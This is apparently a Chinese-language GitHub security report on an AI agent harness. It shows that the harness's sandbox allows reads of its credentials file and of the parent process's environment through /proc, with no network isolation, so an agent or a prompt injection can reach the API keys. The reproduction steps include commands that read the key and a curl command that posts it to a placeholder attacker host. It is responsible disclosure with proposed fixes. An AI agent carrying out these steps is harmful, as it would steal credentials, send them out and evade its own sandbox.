[Bug 报告 / 安全] 凭据对代理自身不构成保密边界:读全放行 + 沙箱进程可读父进程环境 + 网络不隔离,API key 可被读取并外传 #962
truelove-dreamer
started this conversation in
General
Replies: 1 comment 1 reply
|
收到,感谢建议,我们会改进沙箱功能,让沙箱能够更细粒度的被配置(包括网络相关),以及可以用沙箱包住整个dsh进程的行为而不仅仅是只对于特定工具生效。 |
1 reply
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.
摘要
以下三个事实各自都有合理的设计理由,但组合起来,在默认配置下就形成了一条把 API 密钥从 harness 里掏出来的完整链路:
fs沙箱围栏只拦"写"(write/edit),读操作"pass through untouched";$DSH_HOME/.credentials.yaml对模型(或被提示注入的代理)直接可读;--unshare-pid/--new-session,且挂载了宿主/proc,同一 UID 的子进程可读祖先进程(即 harness 本体)的/proc/<pid>/environ——而DEEPSEEK_API_KEY等密钥可能正以启动环境变量的形式存在于 harness 进程环境中(credential 文档明确支持"继承环境"作为凭据源);--unshare-net,读到的密钥可立即curl外传。官方组合注释承诺"凭据永不物化到进程环境"——它只保证了密钥不通过子进程 env 继承泄露,并不构成对代理自身的保密边界。
证据(代码与行号)
代码根:
node_modules/@deepseek-ai/(0.1.0-rc.6 构建产物)dsh-fs-sandbox/lib/index.js:74-75:dsh-sandbox-local/lib/index.js:22-38:--tmpfs /tmp与 workspace bind;无--unshare-net、--unshare-pid、--new-session。子进程与 harness 同 PID 空间、同 UID,ptrace_scope=1下后代读祖先的/proc/<pid>/environ被允许。dsh-llm-deepseek/lib/index.js:747-748:API key 可来自启动环境(credentials 文档:环境 >$DSH_HOME/.credentials.yaml> 项目/用户.env);dsh-subprocess/lib/index.js:46-50的环境脱敏只影响子进程自身的 env 块,拦不住/proc/<ancestor>/environ读取。复现步骤(Linux)
DEEPSEEK_API_KEY=sk-xxx dsh --profile web(或经~/.dsh/.credentials.yaml配置);read工具读~/.dsh/.credentials.yaml→ 成功(读不受限);cat ~/.dsh/.credentials.yaml→ 成功(read-only 模式也不拦读);cat /proc/$(pgrep -f "dsh --profile" | head -1)/environ | tr '\0' '\n' | grep -i "DEEPSEEK\|API_KEY"→ 拿到 harness 进程环境中的密钥;curl -X POST https://<attacker>/collect -d @<密钥文件>→ 成功。预期(按"凭据安全存储"的心智模型):代理无法接触密钥;实际:
read/shell 都能读到,且可外传。影响
.env凭据。建议修复(供讨论,任一即可显著收窄)
fs读工具与 shell 读操作对凭据文件路径($DSH_HOME/.credentials.yaml、.env)做 deny/redact;或在 workspace 外的敏感路径读取上追加审批;process.env删除(credential 值仍可从存储解析),使/proc/<pid>/environ不再携带密钥;--unshare-net --unshare-pid --new-session(注意--unshare-net会让沙箱内 bash 失去网络,属行为变更——可评估是否只在 read-only 模式启用,或文档化该取舍);附注
FS_SANDBOX_DENIED+ 升级)本身完整;凭据${VAR}引用无注入面;子进程 env 脱敏确实生效(对继承路径);All reactions